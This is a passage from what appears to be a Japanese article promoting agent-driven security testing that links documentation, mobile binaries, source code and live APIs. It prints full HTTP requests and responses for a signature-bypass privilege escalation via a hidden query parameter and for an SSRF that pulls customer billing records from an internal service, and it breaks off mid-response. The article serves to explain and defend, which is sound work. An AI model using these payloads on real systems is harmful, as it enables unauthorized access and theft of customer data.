&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ドキュメントを読む&lt;/strong&gt;：開発者向けのアーキテクチャドキュメントを取り込む中で、エージェントは公表されていない特権ルート&lt;code&gt;/api/v2/user/elevate-tier&lt;/code&gt;を発見します。ドキュメントには、このエンドポイントが暗号による署名を用いた認証済みモバイルクライアントのセッションに厳格に限定されていると記されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIスキーマを解析する&lt;/strong&gt;：エージェントはOpenAPIスキーマを調べ、想定されるパラメーターを特定します。&lt;code&gt;target_user_id&lt;/code&gt;、&lt;code&gt;requested_tier: "enterprise_verified"&lt;/code&gt;、そして必須ヘッダー（&lt;code&gt;X-Device-Id&lt;/code&gt;、&lt;code&gt;X-Timestamp&lt;/code&gt;、&lt;code&gt;X-App-Signature&lt;/code&gt;）です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モバイルアプリをリバースエンジニアリングする&lt;/strong&gt;：モバイルアプリケーションのバイナリ（&lt;code&gt;.apk&lt;/code&gt;）を逆コンパイルし、エージェントはネットワーク処理のルーチンをたどって&lt;code&gt;X-App-Signature&lt;/code&gt;の生成方法を特定します。これはタイムスタンプとリクエストボディに対して計算されるHMAC-SHA256署名でした。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バックエンドのソースコードをレビューする&lt;/strong&gt;：バックエンドのリポジトリ（&lt;code&gt;auth_middleware.py&lt;/code&gt;）を相互参照し、エージェントはサーバーが受信した署名をどう検証するかを調べます。そして認可ロジックの不備を見つけ出します。文書化されていないクエリパラメーター&lt;code&gt;?client_mode=legacy_sync&lt;/code&gt;を渡すと、検証関数が早期に&lt;code&gt;True&lt;/code&gt;を返し、暗号署名のチェックが完全にバイパスされてしまうのです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;稼働中のAPI検証を実行する&lt;/strong&gt;：ドキュメントから得たルート、OpenAPIから得たペイロードスキーマ、モバイルバイナリから得たクライアントヘッダー、そしてソースコードから得たバイパスロジックを組み合わせ、エージェントは稼働中のAPIへのHTTPリクエストを作成して送信します。リクエストは成功し、認可されていない権限昇格を実証して、検証済みで再現可能な概念実証（PoC）を提供します。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v2/user/elevate-tier?client_mode=legacy_sync&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;api.target-app.com&lt;/span&gt;
&lt;span class="na"&gt;X-Device-Id&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;mobile-client-anonymous&lt;/span&gt;
&lt;span class="na"&gt;X-Timestamp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;1724687520&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"target_user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"usr_94827104"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"requested_tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"enterprise_verified"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"usr_94827104"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"enterprise_verified"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"auth_mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"legacy_sync"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="サイロ化したツールが現代の脆弱性を見逃す理由"&gt;サイロ化したツールが現代の脆弱性を見逃す理由&lt;/h2&gt;
&lt;p&gt;現実の攻撃者は、ツールの境界やアセットの分類を尊重したりはしません。偵察を「SASTスキャン」「DASTクロール」「モバイルのリバースエンジニアリング」といった区画に分けることもしません。そうではなく、攻撃者は企業のフットプリントを、信頼関係・共有されたシークレット・検証されていないインターフェースが連続して相互につながった網として捉えます。&lt;/p&gt;
&lt;p&gt;彼らは&lt;strong&gt;システム同士のつなぎ目&lt;/strong&gt;、すなわち、あるチームやコンポーネントが置いた前提が、別のものとやり取りした途端に崩れる、まさにその断層線を積極的に探し出します。&lt;/p&gt;
&lt;p&gt;従来のセキュリティテストツールは、根本的に単一アセットのサイロに制約されているため、現代のアーキテクチャに対して体系的に失敗します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                   THE SILOED SCANNING BLIND SPOT                           &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;

  [ Documentation ]  &amp;boxh;&amp;boxh;► Unread by scanners (Hidden routes, trust boundaries ignored)
          &amp;boxv;
  [ Mobile Binary ]  &amp;boxh;&amp;boxh;► Analyzed in isolation (Client crypto verified; server blind)
          &amp;boxv;
  [ Source Code   ]  &amp;boxh;&amp;boxh;► SAST flags 1,000+ theoretical flaws (No reachability)
          &amp;boxv;
  [ Web API / App ]  &amp;boxh;&amp;boxh;► DAST blocked by 401/403 walls &amp;amp; missing client signatures
          &amp;boxv;
  [ Network / Cloud] &amp;boxh;&amp;boxh;► Port scans show open ports (Zero business logic context)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="1. sast:到達可能性のないまま誤検知に溺れる"&gt;1. SAST：到達可能性のないまま誤検知に溺れる&lt;/h3&gt;
&lt;p&gt;静的アプリケーションセキュリティテスト（SAST）ツールは、ソースコードリポジトリ内の抽象構文木（AST）を解析します。理論上のコードパターンの特定には有効ですが、SASTは深刻な構造的盲点を抱えています。
* &lt;strong&gt;到達可能性のコンテキストがゼロ&lt;/strong&gt;：SASTは、脆弱なコードの分岐が実際にAPIゲートウェイを通じて露出しているのか、イングレスコントローラーの背後にデプロイされているのか、あるいはネットワークのファイアウォールで守られているのかを判定できません。
* &lt;strong&gt;アラート疲れ&lt;/strong&gt;：セキュリティエンジニアや開発者は、順位付けされていない何百もの警告に圧倒されます。そのうち85%超は本番環境では悪用不可能です。
* &lt;strong&gt;デプロイのコンテキストの欠如&lt;/strong&gt;：SASTは、認証されていないメソッドが実際の実行時パラメーターで呼び出されるのか、それとも上流のミドルウェアでバイパスされるのかを検証できません。&lt;/p&gt;
&lt;h3 id="2. dast:401/403の壁と暗号署名にぶつかる"&gt;2. DAST：401/403の壁と暗号署名にぶつかる&lt;/h3&gt;
&lt;p&gt;動的アプリケーションセキュリティテスト（DAST）やブラックボックス型のWeb脆弱性スキャナーは、外部から公開URLに対して当てずっぽうのHTTPリクエストを放ちます。
* &lt;strong&gt;認証の障壁&lt;/strong&gt;：現代のアプリケーションは、多要素認証、OAuthフロー、端末に紐づくセッショントークンを強制します。DASTツールは認証状態を失ったり、複雑なログインフローをたどれなかったりすることが頻繁にあります。
* &lt;strong&gt;暗号署名&lt;/strong&gt;：APIがカスタムのクライアントヘッダー（HMAC-SHA256のリクエスト署名、相互TLS、モバイルアプリ内で生成される動的なタイムスタンプのnonceなど）を要求する場合、DASTのリクエストは境界で即座に&lt;code&gt;401 Unauthorized&lt;/code&gt;や&lt;code&gt;403 Forbidden&lt;/code&gt;として拒否されます。
* &lt;strong&gt;パラメーターへの無知&lt;/strong&gt;：DASTは、内部の可視性なしには、隠れたデバッグパラメーター（&lt;code&gt;?client_mode=legacy_sync&lt;/code&gt;など）や、文書化されていない内部スキーマを推測できません。&lt;/p&gt;
&lt;h3 id="3. モバイルast:クライアントのサンドボックスに閉じている"&gt;3. モバイルAST：クライアントのサンドボックスに閉じている&lt;/h3&gt;
&lt;p&gt;モバイルアプリケーションセキュリティテストツールは、APKやIPAを逆コンパイルして、クライアント側の堅牢化、キーストアの実装、難読化を評価します。
* &lt;strong&gt;一方向の可視性&lt;/strong&gt;：モバイルASTは、AndroidやiOSのアプリが強固な暗号署名、堅牢な証明書ピンニング、安全なローカルストレージを実装していることを確認します。
* &lt;strong&gt;バックエンドへの盲目性&lt;/strong&gt;：モバイルスキャナーには、バックエンドのAPIサーバーが実際にそれらの暗号チェックを強制しているのか、あるいはサーバー側のコードにレガシーな認可バイパスが含まれているのかについて、まったく可視性がありません。&lt;/p&gt;
&lt;h3 id="4. ネットワークスキャナー:アプリケーションの意味を欠く"&gt;4. ネットワークスキャナー：アプリケーションの意味を欠く&lt;/h3&gt;
&lt;p&gt;ネットワークやインフラのスキャナーは、IPレンジを走査して、開いているTCP/UDPポート、TLS証明書の有効性、露出したサービスバナーを調べます。
* &lt;strong&gt;ビジネスロジックがない&lt;/strong&gt;：ポートスキャナーはポート&lt;code&gt;443&lt;/code&gt;や&lt;code&gt;8080&lt;/code&gt;が開いていることは特定できますが、複数ステップのAPIワークフロー、JSONペイロード、マルチテナントの認可ロジックは理解できません。
* &lt;strong&gt;境界での孤立&lt;/strong&gt;：ネットワークスキャナーは、開いている内部ポートを、ピボットの足がかりになり得る外部のWebアプリケーションの脆弱性と関連付けることができません。&lt;/p&gt;
&lt;p&gt;セキュリティテストが孤立したサイロに分割されると、ドキュメント、クライアントバイナリ、バックエンドのリポジトリ、そして稼働中のクラウド環境にまたがる重大な脆弱性は、完全に見えないままになります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="現実のマルチホップなクロスアセット攻撃チェーン"&gt;現実のマルチホップなクロスアセット攻撃チェーン&lt;/h2&gt;
&lt;p&gt;相互につながったエージェント型の推論が、複雑な脆弱性をどう暴き出すかを示すために、現実のアプリケーションのフットプリントで特定された3つの具体的なマルチホップ攻撃チェーンを見ていきましょう。&lt;/p&gt;
&lt;h3 id="攻撃チェーン1:アーキテクチャドキュメント + webアプリのssrf + 内部マイクロサービスへのピボット"&gt;攻撃チェーン1：アーキテクチャドキュメント + WebアプリのSSRF + 内部マイクロサービスへのピボット&lt;/h3&gt;
&lt;p&gt;現代のクラウドアーキテクチャでは、組織は内部マイクロサービスを認証なしでデプロイし、隔離を完全にVPCのネットワーク境界に頼っていることが少なくありません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; 1. Architecture Docs &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 2. Public Web App    &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 3. Internal Microservice  &amp;boxv;
&amp;boxv; Discovers internal   &amp;boxv;      &amp;boxv; Finds Blind SSRF     &amp;boxv;      &amp;boxv; Extracts sensitive        &amp;boxv;
&amp;boxv; billing endpoint     &amp;boxv;      &amp;boxv; in avatar import     &amp;boxv;      &amp;boxv; customer financial data   &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; STEP-BY-STEP REASONING &amp;amp; EXECUTION FLOW                                     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; 1. INGESTION  : Agent indexes architecture docs (architecture_overview.md)  &amp;boxv;
&amp;boxv;                 Identifies: http://10.0.4.12:8080/internal/billing/export    &amp;boxv;
&amp;boxv; 2. RECON      : Agent crawls public web portal (app.target-company.com)      &amp;boxv;
&amp;boxv;                 Locates image import: POST /api/v1/profile/avatar-fetch     &amp;boxv;
&amp;boxv; 3. HYPOTHESIS : Web app lacks RFC 1918 private IP filtering &amp;rarr; SSRF pivot    &amp;boxv;
&amp;boxv; 4. EXECUTION  : Agent dispatches SSRF payload targeting internal billing IP &amp;boxv;
&amp;boxv; 5. VALIDATION : Server returns raw JSON billing records (Verified PoC)      &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アーキテクチャドキュメントの取り込み&lt;/strong&gt;：ドキュメントの取り込みフェーズで、エージェントは内部のアーキテクチャ設計メモ（&lt;code&gt;architecture_overview.md&lt;/code&gt;）をインデックス化します。このドキュメントは、&lt;code&gt;http://10.0.4.12:8080/internal/billing/export&lt;/code&gt;, にデプロイされた内部の金融系マイクロサービスを詳述しており、このサービスは内部のプライベートVPCサブネット内に存在するため認証なしで動作すると明記されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webアプリケーションのベクトルの発見&lt;/strong&gt;：公開Webアプリケーション（&lt;code&gt;https://app.target-company.com&lt;/code&gt;）をテストし、エージェントはユーザープロファイルの設定を解析して、リモートの&lt;code&gt;image_url&lt;/code&gt;パラメーターを受け付ける画像インポートのエンドポイント&lt;code&gt;/api/v1/profile/avatar-fetch&lt;/code&gt;を特定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスアセットなピボットの統合&lt;/strong&gt;：ドキュメントから得た内部IPとルートを、公開Webアプリ上の検証されていないURL入力と関連付け、エージェントはピボットの仮説を立てます。すなわち、Webアプリケーションのサーバーサイドリクエストフォージェリ（SSRF）のベクトルを使って、認証のない内部の請求サービスに到達するというものです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;稼働環境での実行と検証済みのデータ持ち出し&lt;/strong&gt;：エージェントは、公開Webエンドポイントを通じて細工したJSONペイロードを送出します。サーバーは内部サブネットに対してバックエンドの取得を実行し、顧客の生の請求レコードをHTTPレスポンスの中に直接返します。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v1/profile/avatar-fetch&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;app.target-company.com&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"usr_55102"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"image_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://10.0.4.12:8080/internal/billing/export?format=json&amp;amp;limit=2"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"imported"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"raw_data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"transactions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"tx_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tx_99812"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4250.00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"currency"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"USD"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"customer_email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfo@enterprise-corp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"card_last4"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4242"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"tx_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tx_99813"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
